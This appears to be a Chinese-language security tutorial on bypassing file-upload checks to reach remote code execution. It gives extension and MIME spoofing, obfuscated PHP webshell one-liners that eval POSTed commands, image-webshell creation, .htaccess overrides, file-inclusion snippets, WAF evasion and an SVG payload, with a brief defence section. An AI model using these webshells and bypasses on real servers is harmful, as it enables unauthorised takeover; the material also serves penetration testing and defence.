【真“免”杀】RCE视角下的文件上传BYPASS利用思路
字数 1386 2025-08-18 17:33:36
【真“免”杀】RCE视角下的文件上传BYPASS利用思路
1. 文件上传漏洞基础
文件上传漏洞是Web应用中常见的安全问题,攻击者通过上传恶意文件获取服务器控制权。从RCE(远程代码执行)视角来看,文件上传漏洞的利用需要考虑以下几个关键点:
- 文件类型检测绕过
- 内容检测绕过
- 上传路径控制
- 执行条件满足
2. 文件类型检测绕过技术
2.1 扩展名欺骗
- 双扩展名绕过:如
shell.php.jpg - 大小写混淆:如
shell.PhP - 空字节截断:如
shell.php%00.jpg - 特殊字符插入:如
shell.php;.jpg或shell.php:.jpg
2.2 MIME类型欺骗
修改HTTP请求中的Content-Type头:
Content-Type: image/jpeg
2.3 文件头伪造
在恶意文件开头添加图片文件头:
- JPEG:
FF D8 FF E0 - PNG:
89 50 4E 47 - GIF:
47 49 46 38
3. 内容检测绕过技术
3.1 代码混淆技术
- 注释插入:
<?php /*恶意代码*/ ?>
- 字符串拼接:
<?php $a="eva"."l"; $a($_POST['cmd']); ?>
- 编码转换:
<?php eval(base64_decode("cGhwaW5mbygpOw==")); ?>
3.2 图片马制作
- 使用copy命令合并:
copy /b normal.jpg + shell.php webshell.jpg
- 使用GIF动画头:
GIF89a<?php phpinfo(); ?>
4. 上传路径控制技巧
- 目录遍历:
filename="../../../shell.php"
- 利用解析差异:
- IIS:
shell.asp;.jpg - Apache:
shell.php%00.jpg
- 临时文件利用:
通过上传大文件触发临时文件机制,结合竞争条件利用
5. 执行条件满足
5.1 解析漏洞利用
- IIS6.0解析漏洞:
/test.asp/test.jpgtest.asp;.jpg
- Apache解析漏洞:
test.php.xxx(当xxx不在mime.types中)
- Nginx解析漏洞:
- 错误配置导致
test.jpg被当作php执行
5.2 文件包含配合
- 本地文件包含(LFI):
include($_GET['file']);
- 远程文件包含(RFI):
include($_GET['file']);
(需allow_url_include=On)
6. 自动保存实现方法
根据评论区big_boy的问题,在Windows环境下实现自动保存的方法:
- 使用HTTP头强制下载:
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="downloaded.php"');
readfile('malicious.php');
- 利用JavaScript自动触发下载:
<script>
function download() {
var link = document.createElement('a');
link.href = 'malicious.php';
link.download = 'downloaded.php';
link.click();
}
window.onload = download;
</script>
- 针对txt文件显示问题的解决:
- 修改Content-Type为
application/octet-stream - 或使用上述JavaScript方法强制下载而非显示
7. 高级绕过技术
7.1 WAF绕过技巧
- 分块传输编码:
Transfer-Encoding: chunked
- 畸形HTTP请求:
- 畸形的Content-Length
- 畸形的Header名称
- 注释干扰:
POST /upload.php HTTP/1.1
X-Comment: */?><?php /*
7.2 条件竞争利用
- 快速多次上传同一文件
- 结合文件包含漏洞在文件被删除前访问
8. 防御建议
- 文件扩展名白名单验证
- 文件内容检测(魔术字节+二次渲染)
- 上传目录设置为不可执行
- 随机化上传文件名和路径
- 文件服务器隔离
- 设置文件大小限制
9. 测试工具推荐
- Burp Suite - 拦截修改上传请求
- OWASP ZAP - 自动化测试
- Upload Scanner - 专用上传漏洞扫描器
- 自定义Python脚本 - 针对特定场景
10. 实战案例
- 通过
.htaccess覆盖实现解析规则修改:
AddType application/x-httpd-php .jpg
- 利用SVG文件执行XSS和RCE:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
- 利用Office文件宏执行命令
通过以上技术组合,可以实现高度隐蔽的文件上传RCE攻击,绕过大多数安全检测机制。